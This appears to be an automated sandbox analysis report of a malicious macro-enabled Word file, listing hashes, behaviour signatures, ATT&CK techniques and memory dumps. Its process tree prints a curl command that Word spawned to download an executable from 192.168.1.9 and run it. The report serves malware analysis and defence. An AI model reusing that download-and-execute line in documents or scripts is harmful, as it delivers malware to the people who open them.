61603b877dcda4f6abc7b9a4930a08f2102ec8d11fc0befdb3a8f2ec4d88bc44

Analysis

max time kernel
136s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
12/02/2024, 04:52

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General

Target

964b55ea6714c823d9aa29bd29d3449e.docm
Size

17KB
MD5

964b55ea6714c823d9aa29bd29d3449e
SHA1

dcf5c45483af7ecad9f8a0d842edd34705948d16
SHA256

61603b877dcda4f6abc7b9a4930a08f2102ec8d11fc0befdb3a8f2ec4d88bc44
SHA512

b9da79e766b39f5a966870f6cb2402b6571857ae825f48c16cfb0103a4cca8ae9e21fd852fc25f10f8792e9603efb536833efbea989654cda92a5b13d30f1c78
SSDEEP

384:/iwnt4GlHnLf9Nxt/ZtNNgoFJE+30OnaVIOrOX:/VnHLffxllNda+3Baz0

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4308	4104	curl.exe	78

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4104	WINWORD.EXE
4104	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4104	WINWORD.EXE
4104	WINWORD.EXE
4104	WINWORD.EXE
4104	WINWORD.EXE
4104	WINWORD.EXE
4104	WINWORD.EXE
4104	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4104 wrote to memory of 4308	4104	WINWORD.EXE	88
PID 4104 wrote to memory of 4308	4104	WINWORD.EXE	88

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\964b55ea6714c823d9aa29bd29d3449e.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4104
- C:\Windows\SYSTEM32\curl.exe
  curl http://192.168.1.9/wget.exe -o C:\temp\test.exe && C:\temp\test.exe http://192.168.1.9
  2⤵
  - Process spawned unexpected child process
  PID:4308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4104-0-0x00007FFF5B0D0000-0x00007FFF5B0E0000-memory.dmp

Filesize
64KB

Download
memory/4104-1-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-2-0x00007FFF5B0D0000-0x00007FFF5B0E0000-memory.dmp

Filesize
64KB

Download
memory/4104-4-0x00007FFF5B0D0000-0x00007FFF5B0E0000-memory.dmp

Filesize
64KB

Download
memory/4104-3-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-6-0x00007FFF5B0D0000-0x00007FFF5B0E0000-memory.dmp

Filesize
64KB

Download
memory/4104-7-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-8-0x00007FFF5B0D0000-0x00007FFF5B0E0000-memory.dmp

Filesize
64KB

Download
memory/4104-5-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-9-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-10-0x00007FFF58D50000-0x00007FFF58D60000-memory.dmp

Filesize
64KB

Download
memory/4104-12-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-13-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-11-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-14-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-15-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-18-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-19-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-17-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-16-0x00007FFF58D50000-0x00007FFF58D60000-memory.dmp

Filesize
64KB

Download
memory/4104-20-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-21-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-22-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-23-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-29-0x0000026AB9380000-0x0000026AB9B80000-memory.dmp

Filesize
8.0MB

Download
memory/4104-30-0x0000026AB9380000-0x0000026AB9B80000-memory.dmp

Filesize
8.0MB

Download
memory/4104-42-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-43-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-44-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-45-0x0000026AB9380000-0x0000026AB9B80000-memory.dmp

Filesize
8.0MB

Download
memory/4104-46-0x0000026AB9380000-0x0000026AB9B80000-memory.dmp

Filesize
8.0MB

Download
memory/4104-67-0x00007FFF5B0D0000-0x00007FFF5B0E0000-memory.dmp

Filesize
64KB

Download
memory/4104-68-0x00007FFF5B0D0000-0x00007FFF5B0E0000-memory.dmp

Filesize
64KB

Download
memory/4104-69-0x00007FFF5B0D0000-0x00007FFF5B0E0000-memory.dmp

Filesize
64KB

Download
memory/4104-70-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-72-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download
memory/4104-71-0x00007FFF5B0D0000-0x00007FFF5B0E0000-memory.dmp

Filesize
64KB

Download
memory/4104-73-0x00007FFF9B050000-0x00007FFF9B245000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads